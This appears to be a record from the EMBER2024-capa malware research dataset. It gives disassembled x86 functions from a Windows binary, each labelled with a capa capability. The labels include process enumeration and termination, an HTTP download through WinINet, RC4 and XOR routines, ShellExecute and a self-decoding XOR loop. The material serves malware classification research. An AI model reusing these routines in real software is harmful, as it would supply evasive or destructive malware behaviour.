joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401330
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.00415e60
lea eax, [ebp - 4]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
call sub.KERNEL32.dll_K32EnumProcesses
test eax, eax
jne 0x40135f
mov eax, 1
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp - 4]
push edi
shr ebx, 2
xor edi, edi
test ebx, ebx
je 0x4013b5
push esi
nop
mov eax, dword [ebp + edi*4 - 0x1004]
test eax, eax
je 0x4013af
push eax
call fcn.004013c0
add esp, 4
cmp eax, 1
jne 0x4013af
push dword [ebp + edi*4 - 0x1004]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, ebx
jb 0x401370
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405420
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push 0x1d
push str.Mozilla_5.0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
call fcn.004032f0
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 0
cmovae eax, dword [ebp - 0x2c]
push 0
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edx, dword [ebp - 0x18]
mov ebx, eax
cmp edx, 8
jb 0x4054a3
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x405499
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4055ba
push edx
push ecx
call fcn.00415e4d
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
test ebx, ebx
je 0x4055bf
push eax
push 0x84000100
push eax
push eax
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x4054e8
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.Couldnt_open_URL_
jmp 0x4055c4
lea eax, [ebp - 1]
mov dword [ebp - 0x14], 0
push eax
push 0x400
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call fcn.00405140
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x400
push dword [ebp - 0x14]
mov dword [edi], 0
push esi
mov dword [edi + 4], 0
mov dword [edi + 8], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x405575
mov eax, dword [ebp - 8]
test eax, eax
je 0x405575
push dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
add eax, ecx
push eax
push ecx
push dword [edi + 4]
mov ecx, edi
call fcn.00404ea0
lea eax, [ebp - 8]
push eax
push 0x400
push dword [ebp - 0x14]
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x405543
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x4055b1
mov edx, dword [ebp - 0xc]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x4055a7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4055ea
push edx
push ecx
call fcn.00415e4d
add esp, 8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0041a2bf
push str.Couldnt_open_Internet_
lea ecx, [ebp - 0x44]
call fcn.00405340
mov ecx, eax
call fcn.00406040
push eax
lea ecx, [ebp - 0x20]
call fcn.00405380
push 0x441dc4
lea eax, [ebp - 0x20]
push eax
call fcn.00416c40
call fcn.0041a2bf
int3
Function at 0x406130
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
sub esp, 0x100
cmp dword [ecx + 0x14], 0x10
push esi
mov esi, dword [ebp + 8]
jb 0x406148
mov ecx, dword [ecx]
mov eax, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
push edx
push 0x20019
push 0
push ecx
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40619b
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0xc], 0xff
cmp dword [eax + 0x14], 0x10
jb 0x406175
mov eax, dword [eax]
lea ecx, [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x100]
push ecx
push 0
push 0
push eax
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0x10]
test eax, eax
je 0x4061b6
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esi], 0
mov eax, esi
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x100]
mov dword [esi], 0
mov dword [esi + 0x10], 0
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4061e0
sub ecx, edx
lea eax, [ebp - 0x100]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40acc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov eax, dword [ecx]
mov ebx, dword [ecx + 8]
mov edi, dword [ecx + 0xc]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], eax
mov eax, dword [ecx + 4]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], 0
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x50], xmm0
movups xmm0, xmmword [ecx + 0x10]
movups xmmword [ebp - 0x40], xmm0
movups xmm0, xmmword [ecx + 0x20]
movups xmmword [ebp - 0x30], xmm0
movups xmm0, xmmword [ecx + 0x30]
movups xmmword [ebp - 0x20], xmm0
mov esi, eax
mov dword [ebp + 0xc], eax
mov ecx, ebx
not esi
and ecx, eax
and esi, edi
or esi, ecx
mov edx, edi
mov ecx, dword [ebp - 8]
mov edi, ebx
mov ebx, dword [ebp - 8]
mov ecx, dword [ecx + 0x4348f0]
add ecx, dword [ebp + ebx - 0x50]
add ecx, esi
add ecx, dword [ebp - 4]
rol ecx, 7
add eax, ecx
mov dword [ebp - 4], edx
mov ecx, ebx
mov ebx, dword [ebp + 0xc]
add ecx, 4
mov dword [ebp - 8], ecx
cmp ecx, 0x40
jb 0x40ad06
mov dword [ebp - 0xc], 0x434930
mov dword [ebp - 8], 0x51
mov esi, edi
mov dword [ebp + 0xc], eax
not esi
mov ecx, edi
and ecx, eax
and esi, ebx
or esi, ecx
mov edx, edi
mov ecx, dword [ebp - 8]
mov edi, ebx
mov ebx, dword [ebp - 0xc]
and ecx, 0xf
add dword [ebp - 0xc], 4
mov ecx, dword [ebp + ecx*4 - 0x50]
add ecx, dword [ebx]
mov ebx, dword [ebp + 0xc]
add ecx, esi
add ecx, dword [ebp - 4]
rol ecx, 0xc
add eax, ecx
mov dword [ebp - 4], edx
mov ecx, dword [ebp - 8]
add ecx, 5
mov dword [ebp - 8], ecx
cmp ecx, 0xa1
jb 0x40ad54
mov ecx, 0x65
mov dword [ebp - 0xc], 0x434970
mov dword [ebp - 8], ecx
nop word [eax + eax]
and ecx, 0xf
mov dword [ebp + 0xc], eax
mov edx, edi
mov esi, edi
xor edx, ebx
mov edi, ebx
mov ebx, dword [ebp - 0xc]
xor edx, eax
mov ecx, dword [ebp + ecx*4 - 0x50]
add dword [ebp - 0xc], 4
add ecx, dword [ebx]
mov ebx, dword [ebp + 0xc]
add ecx, edx
add ecx, dword [ebp - 4]
ror ecx, 0xf
add eax, ecx
mov dword [ebp - 4], esi
mov ecx, dword [ebp - 8]
add ecx, 3
mov dword [ebp - 8], ecx
cmp ecx, 0x95
jb 0x40adb0
mov ecx, 0x150
mov dword [ebp + 0xc], 0xc0
mov dword [ebp - 0xc], ecx
nop dword [eax]
add dword [ebp - 0xc], 7
and ecx, 0xf
mov edx, edi
mov dword [ebp - 8], edi
mov edi, dword [ebp + 0xc]
not edx
or edx, eax
mov dword [ebp - 4], ebx
mov ecx, dword [ebp + ecx*4 - 0x50]
xor edx, ebx
mov ebx, eax
add ecx, dword [edi + 0x4348f0]
add ecx, edx
mov edx, dword [ebp - 8]
add ecx, esi
mov esi, edx
ror ecx, 0xa
add eax, ecx
mov ecx, edi
mov edi, dword [ebp - 4]
add ecx, 4
mov dword [ebp + 0xc], ecx
cmp ecx, 0x100
mov ecx, dword [ebp - 0xc]
jb 0x40ae00
mov ecx, dword [ebp - 0x10]
add ecx, edx
mov edx, dword [ebp + 8]
add dword [edx + 8], ebx
add dword [edx + 4], eax
add dword [edx + 0xc], edi
pop edi
pop esi
mov dword [edx], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b0f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 0x10
jb 0x40b0fe
mov eax, dword [eax]
push 1
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop ebp
ret
Function at 0x40f630
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov edx, 0x811c9dc5
push edi
mov edi, dword [ebp + 8]
mov ecx, 0
sub esi, edi
je 0x40f661
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x40f650
pop edi
mov eax, edx
pop esi
pop ebp
ret 8

Function at 0x410310
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 0x10
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
test eax, eax
je 0x41036c
lea ecx, [ebp - 0x14]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410350
sub ecx, edx
lea eax, [ebp - 0x14]
push ecx
push eax
mov ecx, esi
call fcn.00401820
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push 3
push 0x434af0
push esi
mov dword [esi + 0x10], 3
call fcn.00416d60
add esp, 0xc
mov byte [esi + 3], 0
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x410e20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x100
call fcn.00415e1d
push 0x100
mov esi, eax
push 0
push esi
mov dword [ebp - 0x10], esi
call fcn.004176c0
push 0x100
call fcn.00415e1d
push 0x100
push 0
push eax
mov dword [ebp - 4], eax
call fcn.004176c0
mov ebx, dword [ebp + 8]
mov eax, esi
mov edi, dword [ebp + 0xc]
add esp, 0x20
xor ecx, ecx
mov dword [ebx], 0
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
mov ebx, dword [ebp - 4]
sub eax, ebx
mov dword [ebp - 0xc], eax
nop dword [eax + eax]
cmp dword [edi + 0x14], 0x10
mov dword [ebp - 8], edi
jb 0x410e9e
mov eax, dword [edi]
mov dword [ebp - 8], eax
xor edx, edx
lea esi, [ebx + ecx]
mov eax, ecx
mov ebx, dword [ebp - 8]
div dword [edi + 0x10]
mov al, byte [edx + ebx]
mov edx, dword [ebp - 0xc]
mov ebx, dword [ebp - 4]
mov byte [edx + esi], al
mov byte [esi], cl
inc ecx
cmp ecx, 0x100
jl 0x410e90
mov esi, ebx
mov dword [ebp - 8], 0x100
mov ebx, dword [ebp + 8]
xor edi, edi
mov eax, dword [ebp - 0xc]
mov dl, byte [esi]
movzx ecx, dl
movzx eax, byte [esi + eax]
add edi, eax
add edi, ecx
and edi, 0x800000ff
jns 0x410ef0
dec edi
or edi, 0xffffff00
inc edi
mov ecx, dword [ebp - 4]
mov al, byte [ecx + edi]
mov byte [esi], al
inc esi
sub dword [ebp - 8], 1
mov byte [ecx + edi], dl
jne 0x410ed0
mov edi, dword [ebp + 0x10]
mov ecx, ebx
push 0
push dword [edi + 0x10]
call fcn.00410fd0
xor eax, eax
xor esi, esi
xor ecx, ecx
cmp dword [edi + 0x10], eax
mov edi, dword [ebp - 4]
jbe 0x410f98
nop
inc ecx
and ecx, 0x800000ff
jns 0x410f31
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 4], ecx
mov cl, byte [edi + ecx]
movzx edx, cl
add eax, edx
and eax, 0x800000ff
jns 0x410f4a
dec eax
or eax, 0xffffff00
inc eax
mov ebx, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov al, byte [edi + eax]
mov byte [edi + ebx], al
mov eax, dword [ebp - 0xc]
mov byte [edi + eax], cl
mov eax, ebx
mov ecx, dword [ebp + 0x10]
mov ebx, dword [ebp + 8]
movzx eax, byte [edi + eax]
add eax, edx
cmp dword [ecx + 0x14], 0x10
movzx eax, al
mov dl, byte [eax + edi]
mov eax, ecx
jb 0x410f7a
mov eax, dword [ecx]
mov al, byte [eax + esi]
xor al, dl
cmp dword [ebx + 0x14], 0x10
mov edx, ebx
jb 0x410f89
mov edx, dword [ebx]
mov byte [edx + esi], al
inc esi
cmp esi, dword [ecx + 0x10]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
jb 0x410f20
test edi, edi
je 0x410faa
push 0x100
push edi
call fcn.00415e4d
add esp, 8
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x410fbf
push 0x100
push eax
call fcn.00415e4d
add esp, 8
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x422f9b
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x439110
push 0x439108
push str.FlsAlloc
push 0x1e
call fcn.00422e08
mov esi, eax
add esp, 0x10
test esi, esi
je 0x422fcf
push dword [ebp + 8]
mov ecx, esi
call dword [0x4341d4]
call esi
jmp 0x422fd5
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x423019
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x439120
push 0x439118
push str.FlsGetValue
push 0x20
call fcn.00422e08
mov esi, eax
add esp, 0x10
test esi, esi
je 0x423050
push dword [ebp + 8]
mov ecx, esi
call dword [0x4341d4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x4246fa
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042456b

Function at 0x424af4
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00415e60
mov eax, dword [0x444060]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004235ce
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x424b36
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x424c92
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00432ff0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x445d00]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00425aeb
mov ecx, dword [esi*4 + 0x445d00]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x424c8b
cmp eax, dword [edi + ecx + 0x24]
jne 0x424c8b
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x424c8b
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00425aeb
add esp, 0x14
test edx, edx
jl 0x424c8b
jg 0x424c01
test eax, eax
jb 0x424c8b
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x424c8b
jl 0x424c1b
cmp dword [ebp - 0x1008], eax
ja 0x424c8b
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x424c39
test ebx, ebx
je 0x424c72
cmp ecx, edi
jae 0x424c72
mov al, byte [ecx]
cmp al, 0xd
jne 0x424c53
lea eax, [edi - 1]
cmp ecx, eax
jae 0x424c5f
cmp byte [ecx + 1], 0xa
jne 0x424c5f
inc ecx
jmp 0x424c5f
movzx eax, al
movsx eax, byte [eax + 0x4442d8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x424c39
cmp edx, ebx
jne 0x424c39
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x424c90
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00416526
leave
ret
Function at 0x424f89
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x445d00]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x424fc9
cmp byte [ebx], 0xa
jne 0x424fc9
or byte [eax + edi + 0x28], 4
jmp 0x424fce
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x4250cc
mov al, byte [edx]
cmp al, 0x1a
je 0x4250ae
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x424ffd
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x425022
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x42502c
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x424fdf
jmp 0x4250cc
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4250a9
cmp dword [ebp - 0xc], 0
je 0x4250a9
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x445d00]
test byte [eax + edi + 0x28], 0x48
je 0x425083
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x42506e
mov byte [esi], dl
jmp 0x42507f
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x445d00]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4250cc
cmp byte [ebp - 1], 0xa
jne 0x425092
cmp esi, ebx
jne 0x425092
mov byte [esi], 0xa
jmp 0x4250cb
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00425b09
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4250cc
mov byte [esi], 0xd
jmp 0x4250cb
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x445d00]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4250c8
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4250cc
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4250d5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x445d00]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x425118
cmp word [esi], dx
jne 0x425118
or byte [edi + eax + 0x28], 4
jmp 0x42511d
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x425270
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x425250
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x42515f
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x425195
cmp eax, edx
jae 0x4251a1
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x425137
jmp 0x425270
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42524c
cmp dword [ebp - 0x14], 0
je 0x42524c
mov eax, dword [ebx*4 + 0x445d00]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x425224
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4251ed
mov word [esi], cx
jmp 0x425220
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x445d00]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x445d00]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x445d00]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x425270
pop ebx
cmp word [ebp - 4], bx
jne 0x425235
cmp esi, dword [ebp + 0xc]
jne 0x425235
mov word [esi], bx
jmp 0x42526d
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00425b09
add esp, 0x10
cmp word [ebp - 4], bx
je 0x425270
push 0xd
jmp 0x425269
mov ecx, dword [ebx*4 + 0x445d00]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x425267
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x425270
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x42b304
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x42b3a1
push ebx
push esi
call fcn.0042b2cd
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00429f52
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x42b34e
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42b3a0
push edi
push eax
call fcn.00426776
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x42b36e
call fcn.00422ad0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x42b39f
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00429f52
add esp, 0x20
test eax, eax
jne 0x42b38d
push edi
call fcn.00422ad0
jmp 0x42b395
push ebx
call fcn.00422ad0
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x432880
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004327fc
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4329f8
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x4329f8
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4329a7
jg 0x4328d9
test eax, eax
je 0x43299d
push 1
push 0x1000
call fcn.00422b0a
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4328ff
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x432994
push 0x8000
push ebx
call fcn.0041fe81
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x43292b
jg 0x432926
cmp ecx, 0x1000
jb 0x43292b
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0042436b
add esp, 0x10
cmp eax, 0xffffffff
je 0x432970
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x432926
jl 0x432957
test ecx, ecx
jne 0x432918
push dword [ebp - 0xc]
push ebx
call fcn.0041fe81
push esi
call fcn.00422ad0
add esp, 0xc
xor edi, edi
jmp 0x432a09
cmp byte [edi + 0x24], 0
je 0x432987
cmp dword [edi + 0x20], 5
jne 0x432987
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x432992
mov edi, dword [edi + 0x18]
jmp 0x432994
xor edi, edi
push esi
call fcn.00422ad0
pop ecx
jmp 0x432a09
test ecx, ecx
jg 0x432969
jl 0x4329a7
test eax, eax
jae 0x432969
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00425b09
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4329ca
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x432969
jmp 0x432a01
push ebx
call fcn.0042baf6
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x432969
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x432a09
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x432a06
mov edi, dword [edi + 0x18]
jmp 0x432a09
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00425b09
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
